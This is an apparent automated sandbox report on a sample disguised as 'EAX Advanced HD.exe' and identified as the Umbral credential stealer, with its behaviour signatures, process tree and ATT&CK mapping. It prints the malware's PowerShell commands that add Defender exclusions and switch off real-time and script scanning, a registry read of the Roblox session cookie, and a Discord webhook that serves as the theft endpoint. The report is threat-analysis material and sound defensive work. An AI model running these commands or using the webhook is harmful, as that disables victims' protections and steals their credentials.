Analysis
- max time kernel
31s - max time network
32s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
14/09/2026, 04:34
General
- Target EAX Advanced HD/EAX Advanced HD.exe
- Size 2.2MB
- Sample260914-e65hhsstcx
- SHA256 925c8fa085c56e92bf3762409cbddf9750bea788a8dfb88edd3725a9e39add64
Malware Config
Extracted
-
umbral
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v1.3
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https://discord.com/api/webhooks/1548723145387544596/arUdv6tkx5u1Qh42y_3rSjjSl6kw6I3-oD3L5zJDhUHxHXwHxTUy7VRKR2Akg6d4DNck
Signatures
- Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
- Detects Umbral payload 4 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Drops file in Drivers directory 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
- Executes dropped EXE 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\EAX Advanced HD\EAX Advanced HD.exe"C:\Users\Admin\AppData\Local\Temp\EAX Advanced HD\EAX Advanced HD.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\EAX Advanced HD (1).exe"C:\Users\Admin\AppData\Roaming\EAX Advanced HD (1).exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1716 -s 8883⤵
- Program crash
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C:\Users\Admin\AppData\Roaming\Umbral.exe"C:\Users\Admin\AppData\Roaming\Umbral.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbral.exe"3⤵
- Views/modifies file attributes
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbral.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1716 -ip 17161⤵
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
2Disable or Modify Tools
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_34d3dzb1.lw2.ps1
EAX Advanced HD (1).exe
Umbral.exe
memory/820-52-0x000001DF63400000-0x000001DF63450000-memory.dmp
memory/820-25-0x000001DF61630000-0x000001DF61670000-memory.dmp
memory/820-83-0x000001DF63470000-0x000001DF63482000-memory.dmp
memory/820-82-0x000001DF61B30000-0x000001DF61B3A000-memory.dmp
memory/820-53-0x000001DF61AF0000-0x000001DF61B0E000-memory.dmp
memory/820-51-0x000001DF7BB70000-0x000001DF7BBE6000-memory.dmp
memory/1056-0-0x0000000000040000-0x0000000000276000-memory.dmp
memory/1056-1-0x000000001B1E0000-0x000000001B1F0000-memory.dmp
memory/1716-28-0x00000000054E0000-0x0000000005572000-memory.dmp
memory/1716-27-0x00000000059F0000-0x0000000005F94000-memory.dmp
memory/1716-26-0x0000000000A70000-0x0000000000C6A000-memory.dmp
memory/2012-34-0x00000241F3900000-0x00000241F3922000-memory.dmp
memory/4296-80-0x0000018EE6B20000-0x0000018EE6D3C000-memory.dmp